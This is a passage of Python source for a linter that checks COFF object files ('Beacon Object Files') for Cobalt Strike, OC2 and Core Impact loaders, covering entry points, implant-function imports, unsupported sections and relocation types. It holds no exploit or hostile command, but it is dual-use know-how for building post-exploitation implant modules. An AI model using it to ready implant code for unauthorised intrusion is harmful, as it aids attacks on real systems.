with open(path, "rb") as f:
# 1) Parse COFF header
obj.file_header = COFFFileHeader.from_file(f)
# 2) Skip optional header if present
sz_opt = obj.file_header.size_of_optional_header
if sz_opt > 0:
f.seek(sz_opt, os.SEEK_CUR)
# 3) Parse section headers
for _ in range(obj.file_header.number_of_sections):
sec = COFFSectionHeader.from_file(f)
obj.section_headers.append(sec)
# 4) Parse symbols and string table
obj._parse_symbols_and_strings(f)
# 5) Read relocations from each section in a second pass
with open(path, "rb") as f:
for i, sec in enumerate(obj.section_headers):
rels = obj._read_relocations_for_section(f, sec)
obj.relocations[i] = rels
return obj
def _parse_symbols_and_strings(self, f):
"""
Read the symbol table (18 bytes each, plus any auxiliary records),
then read the string table if present.
"""
hdr = self.file_header
if hdr.pointer_to_symbol_table == 0 or hdr.number_of_symbols == 0:
return # no symbols
# Seek to the start of the symbol table
f.seek(hdr.pointer_to_symbol_table, os.SEEK_SET)
symbol_count = hdr.number_of_symbols
i = 0
while i < symbol_count:
sym = COFFSymbol.from_file(f)
self.symbols.append(sym)
# If the symbol has auxiliary entries, skip them
if sym.number_of_aux_symbols > 0:
skip_count = sym.number_of_aux_symbols * SYMBOL_SIZE
f.seek(skip_count, os.SEEK_CUR)
i += sym.number_of_aux_symbols
self.symbols.extend([None] * sym.number_of_aux_symbols)
i += 1
# Next 4 bytes should be the string table size
size_data = f.read(4)
if len(size_data) == 4:
string_table_size = struct.unpack("<L", size_data)[0]
if string_table_size > 4:
remaining = string_table_size - 4
self.string_table = f.read(remaining)
else:
self.string_table = b''
def _read_relocations_for_section(self, f, section):
"""
Reads relocations for a given section.
"""
relocs = []
if section.pointer_to_relocations == 0 or section.number_of_relocations == 0:
return relocs
f.seek(section.pointer_to_relocations, os.SEEK_SET)
for _ in range(section.number_of_relocations):
rel = COFFRelocation.from_file(f)
relocs.append(rel)
return relocs
def get_symbol_name(self, sym: COFFSymbol) -> str:
"""
Extracts the symbol name from the raw bytes.
If the first 4 bytes are zero, the last 4 are an offset into the string table.
Otherwise, it is an inline name (null-terminated).
"""
raw = sym.name_raw
# check if first four bytes are zero
if raw[:4] == b'\x00\x00\x00\x00':
offset = struct.unpack("<L", raw[4:8])[0]
# typical approach: offset - 4 from the start of self.string_table
real_offset = offset - 4
if real_offset < 0 or real_offset >= len(self.string_table):
return "<invalid-offset>"
# read until null
sub = self.string_table[real_offset:]
null_pos = sub.find(b'\x00')
return sub[:null_pos].decode(errors='ignore') if null_pos != -1 else sub.decode(errors='ignore')
else:
# inline name
null_pos = raw.find(b'\x00')
return raw[:null_pos].decode(errors='ignore') if null_pos != -1 else raw.decode(errors='ignore')
def is_64bit(self) -> bool:
return self.file_header.machine == MACHINE_AMD64
def lint(self):
"""Perform basic lint checks and print results."""
hdr = self.file_header
machine = hdr.machine
# Print header info
log_message(LogLevel.INFO, "=== COFF File Header ===")
log_message(LogLevel.INFO, f" Machine: 0x{machine:04X}")
log_message(LogLevel.INFO, f" NumberOfSections: {hdr.number_of_sections}")
log_message(LogLevel.INFO, f" TimeDateStamp: 0x{hdr.time_date_stamp:08X}")
log_message(LogLevel.INFO, f" PointerToSymbolTable:0x{hdr.pointer_to_symbol_table:08X}")
log_message(LogLevel.INFO, f" NumberOfSymbols: {hdr.number_of_symbols}")
log_message(LogLevel.INFO, f" SizeOfOptionalHeader:{hdr.size_of_optional_header}")
log_message(LogLevel.INFO, f" Characteristics: 0x{hdr.characteristics:04X}")
if machine == MACHINE_X86:
log_message(LogLevel.INFO, " -> x86 (32-bit) COFF object.n")
elif machine == MACHINE_AMD64:
log_message(LogLevel.INFO, " -> AMD64 (x64) COFF object.\n")
else:
log_message(LogLevel.ERROR, " -> Unknown or non-standard machine type.\n")
sys.exit(1)
# Check sections
log_message(LogLevel.INFO, "=== Sections ===")
for i, sec in enumerate(self.section_headers):
log_message(LogLevel.INFO, f" Section[{i}]: {sec.name}")
log_message(LogLevel.INFO, f" PointerToRelocations: 0x{sec.pointer_to_relocations:08X}")
log_message(LogLevel.INFO, f" NumberOfRelocations: {sec.number_of_relocations}")
log_message(LogLevel.INFO, f" Characteristics: 0x{sec.characteristics:08X}")
log_message(LogLevel.INFO, f" VirtualSize: 0x{sec.virtual_size:08X}")
log_message(LogLevel.INFO, f" SizeOfRawData: 0x{sec.size_of_raw_data:08X}")
if sec.name == ".bss" and (sec.size_of_raw_data > 0 or sec.virtual_size > 0) and loader_type not in (LoaderType.CS, LoaderType.OC2, LoaderType.CI):
log_message(LogLevel.WARN, f"Section '{sec.name}' is present! Not all loaders support uninitialized data in a BOF.")
elif sec.name == ".rdata" and sec.size_of_raw_data > 0 and loader_type not in (LoaderType.CS, LoaderType.OC2, LoaderType.CI):
log_message(LogLevel.WARN, f"Section '{sec.name}' is present! Not all loaders support read-only/const data in a BOF.")
#elif sec.name == ".pdata" and sec.size_of_raw_data > 0 and loader_type not in (LoaderType.CS, LoaderType.OC2):
# log_message(LogLevel.WARN, f"Section '{sec.name}' is present! This may indicate that your BOF is using exception handling, which is not supported.")
log_message(LogLevel.INFO, "")
# Symbols
log_message(LogLevel.INFO, "=== Symbols ===")
allowed_entry_names = {
LoaderType.CS: { "go", "sleep_mask", "_go", "_sleep_mask" },
LoaderType.OC2: { "go", "_go" },
LoaderType.CI: {"go", "_go"},
}
allowed_entry_names[LoaderType.ANY] = allowed_entry_names[LoaderType.CS] | allowed_entry_names[LoaderType.OC2] | allowed_entry_names[LoaderType.CI]
found_entry = False
for i, sym in enumerate(self.symbols):
if sym is None:
continue # skip aux symbols
sym_name = self.get_symbol_name(sym)
log_message(LogLevel.INFO, f" [{i}] Name='{sym_name}' Value=0x{sym.value:08X} "
f"Section={sym.section_number} StorageClass={sym.storage_class}")
if sym_name in allowed_entry_names[loader_type] and sym.section_number > 0:
found_entry = True
if "@" in sym_name:
sym_name = sym_name.split("@", 1)[0]
if sym_name.startswith("__imp_"):
sym_without_prefix = sym_name[6:] # remove __imp_
if not self.is_64bit():
if sym_without_prefix[0] == "_":
sym_without_prefix = sym_without_prefix[1:]
if "$" in sym_without_prefix: # DFR
# split in exact two parts, not more
import_lib, import_func = sym_without_prefix.split("$", 1)
if "@" in import_func:
import_func = import_func.split("@", 1)[0]
import_func = import_func.strip("$")
log_message(LogLevel.INFO, f"Imported symbol '{sym_without_prefix}' from library '{import_lib}' and function '{import_func}'")
else:
if loader_type == LoaderType.CS:
if sym_without_prefix not in list_of_implant_functions_cs:
log_message(LogLevel.ERROR, f"Imported symbol '{sym_without_prefix}' is not a recognized implant function.", LogDestination.CS)
elif loader_type == LoaderType.OC2:
if sym_without_prefix not in list_of_implant_functions_oc2:
log_message(LogLevel.ERROR, f"Imported symbol '{sym_without_prefix}' is not a recognized implant function.", LogDestination.OC2)
elif loader_type == LoaderType.CI:
if sym_without_prefix not in list_of_implant_functions_ci:
log_message(LogLevel.ERROR, f"Imported symbol '{sym_without_prefix}' is not a recognized implant function.", LogDestination.CI)
else:
if sym_without_prefix not in (list_of_implant_functions_cs + list_of_implant_functions_oc2 + list_of_implant_functions_ci):
log_message(LogLevel.ERROR, f"Imported symbol '{sym_without_prefix}' is not a recognized implant function.")
else:
if sym.section_number == 0:
unhandled = True
if unhandled and sym_name in ["___chkstk_ms", "__chkstk"]:
if loader_type != LoaderType.OC2:
log_message(LogLevel.ERROR, f"Symbol '{sym_name}' is a stack check function. You may have a stack variable that is too large.")
unhandled = False
if unhandled and sym_name in ["__stack_chk_fail", "__security_init_cookie"] or "security_check_cookie" in sym_name:
log_message(LogLevel.ERROR, f"Symbol '{sym_name}' is a stack check function. Disable stack protections.")
unhandled = False
if unhandled and sym_name in ["__C_specific_handler", "__cxa_begin_catch"] or "except_handler" in sym_name or "CxxFrameHandler" in sym_name:
log_message(LogLevel.WARN, f"Symbol '{sym_name}' is an exception handling function. This is not supported.")
unhandled = False
if unhandled and sym_name in ["memset", "memmove", "memcpy"]:
if loader_type == LoaderType.OC2:
# OC2 shims these functions in the loader
unhandled = False
if unhandled:
log_message(LogLevel.ERROR, f"Symbol '{sym_name}' is an undefined symbol.")
log_message(LogLevel.INFO, "")
if not found_entry:
entry_names = ', '.join(f"'{name}'" for name in allowed_entry_names[loader_type])
log_message(LogLevel.ERROR, f"No {entry_names} entry point found in object file (required for BOF)")
# Relocations
log_message(LogLevel.INFO, "=== Relocations ===")
for i, sec in enumerate(self.section_headers):
rels = self.relocations.get(i, [])
if rels:
log_message(LogLevel.INFO, f" Section[{i}] '{sec.name}' has {len(rels)} relocation(s):")
for r in rels:
# Symbol reference name
sym_name = "<invalid-symbol>"
if r.symbol_table_index < len(self.symbols):
sym_name = self.get_symbol_name(self.symbols[r.symbol_table_index])
try:
r_type = ImageRelocationType(r.type_)
r_type_str = r_type.name
except ValueError:
r_type_str = f"0x{r.type_:04X}"
# Map relocation type to a name
if self.is_64bit():
# Check for allowed relocation types
allowed_reloc_types = {
ImageRelocationType.IMAGE_REL_AMD64_ADDR64,
ImageRelocationType.IMAGE_REL_AMD64_ADDR32NB,
ImageRelocationType.IMAGE_REL_AMD64_REL32,
ImageRelocationType.IMAGE_REL_AMD64_REL32_1,
ImageRelocationType.IMAGE_REL_AMD64_REL32_2,
ImageRelocationType.IMAGE_REL_AMD64_REL32_3,
ImageRelocationType.IMAGE_REL_AMD64_REL32_4,
ImageRelocationType.IMAGE_REL_AMD64_REL32_5
}
if r_type not in allowed_reloc_types:
log_message(LogLevel.WARN, f"Warning: Unexpected relocation type {r_type_str} at VA=0x{r.virtual_address:08X}")
else:
# Check for allowed relocation types
allowed_reloc_types = {
ImageRelocationType.IMAGE_REL_I386_DIR32,
ImageRelocationType.IMAGE_REL_I386_REL32
}
if r_type not in allowed_reloc_types:
log_message(LogLevel.WARN, f"Warning: Unexpected relocation type {r_type_str} at VA=0x{r.virtual_address:08X}")
log_message(LogLevel.INFO, f" VA=0x{r.virtual_address:08X}, "
f"SymIdx={r.symbol_table_index} ({sym_name}), "
f"Type={r_type_str}")
log_message(LogLevel.INFO, "")
###############################################################################
# Command-line Entry Point
###############################################################################
class LogLevel(Enum):
INFO = auto()
WARN = auto()
ERROR = auto()
class LogDestination(IntFlag):
NONE = 0
CS = auto() # Cobalt Strike BOFs
OC2 = auto() # OC2 BOFs
CI = auto() # Core Impact BOFs
ALL = CS | OC2 | CI # All BOF types
class LogFormat(Enum):
DEFAULT = "default" # Default format
VS = "vs" # Visual Studio
class LoaderType(Enum):
ANY = "any" # Any loader
CS = "cs" # Cobalt Strike
OC2 = "oc2" # OC2
CI = "ci" # Core Impact
loader_type = LoaderType.ANY
verbose_logging = False
has_errors = False
enable_colors = True
log_format = LogFormat.DEFAULT
input_file = ""
def log_message(level: LogLevel, message: str, dest: LogDestination = LogDestination.ALL):
if not verbose_logging and level == LogLevel.INFO:
return
# Skip messages not meant for current loader
if dest != LogDestination.ALL:
if loader_type == LoaderType.CS and not (dest & LogDestination.CS):
return
if loader_type == LoaderType.OC2 and not (dest & LogDestination.OC2):
return
if loader_type == LoaderType.CI and not (dest & LogDestination.CI):
return
if level == LogLevel.ERROR:
global has_errors
has_errors = True
format = {
LogFormat.DEFAULT: log_format_default,
LogFormat.VS: log_format_vs,
}
global log_format
print(format[log_format](level, message, dest))
def log_format_default(level: LogLevel, message: str, dest: LogDestination):
# ANSI color codes
COLORS = {
LogLevel.INFO: "", # default
LogLevel.WARN: "\033[93m", # yellow
LogLevel.ERROR: "\033[91m", # red
}
global enable_colors
RESET = "\033[0m" if enable_colors else ""
COLOR = COLORS[level] if enable_colors else ""
prefix = {
LogLevel.INFO: "INFO",
LogLevel.WARN: "WARN",
LogLevel.ERROR: "ERROR"
}
destinations = format_destinations(dest)
if dest == LogDestination.ALL:
return f"{COLOR}[{prefix[level]}] {message}{RESET}"
else:
return f"{COLOR}[{prefix[level]}] {message}{RESET} [{destinations}]"
def log_format_vs(level: LogLevel, message: str, dest: LogDestination):
global input_file
bof_name = Path(input_file).name
prefix = {
LogLevel.INFO: "",
LogLevel.WARN: "warning",
LogLevel.ERROR: "error"
}
destinations = f" [{format_destinations(dest)}]" if dest != LogDestination.ALL else ""
return f"{bof_name}: {prefix[level]} BOFLINT: {message}{destinations}"
def format_destinations(dest: LogDestination):
# append the log destinations to a string, formatted like this [CS|OC2], properly checking it as an intflag, also properly expanding ALL to CS|OC2
return "|".join([d.name for d in LogDestination if d & dest and d != LogDestination.ALL])
def is_valid_bof(filepath: str) -> bool:
"""Quick check if file is a valid BOF by checking machine type."""
try:
with open(filepath, 'rb') as f:
machine_data = f.read(2)
if len(machine_data) < 2:
return False
machine = struct.unpack("<H", machine_data)[0]
return machine in (MACHINE_AMD64, MACHINE_X86)
except:
return False
def main():
parser = argparse.ArgumentParser(description='BOF Linter - Validates COFF object files')
parser.add_argument('file', help='Path to COFF object file')
parser.add_argument('-v', '--verbose', action='store_true', help='Show INFO messages')
parser.add_argument('--loader', choices=['cs', 'oc2', 'ci', 'any'], default='any',
help='BOF loader type (cs=Cobalt Strike, oc2=OC2, ci=Core Impact, any=Any)')
parser.add_argument('--nocolor', action='store_true', help='Disable color output')
parser.add_argument('--logformat', choices=['default', 'vs'], default='default',
help='Output format (default=Normal output, vs=Visual Studio diagnostic)')
args = parser.parse_args()
global verbose_logging, loader_type, enable_colors, log_format, input_file
verbose_logging = args.verbose
loader_type = LoaderType(args.loader)
enable_colors = not args.nocolor
log_format = LogFormat(args.logformat)
input_file = args.file
if not os.path.isfile(args.file):
log_message(LogLevel.ERROR, "File does not exist")
sys.exit(1)
if not is_valid_bof(args.file):
log_message(LogLevel.ERROR, "Not a valid BOF COFF file (or unsupported machine type)")
sys.exit(1)
coff = COFFObject.from_file(args.file)
coff.lint()
if has_errors:
sys.exit(1)
if __name__ == "__main__":
main()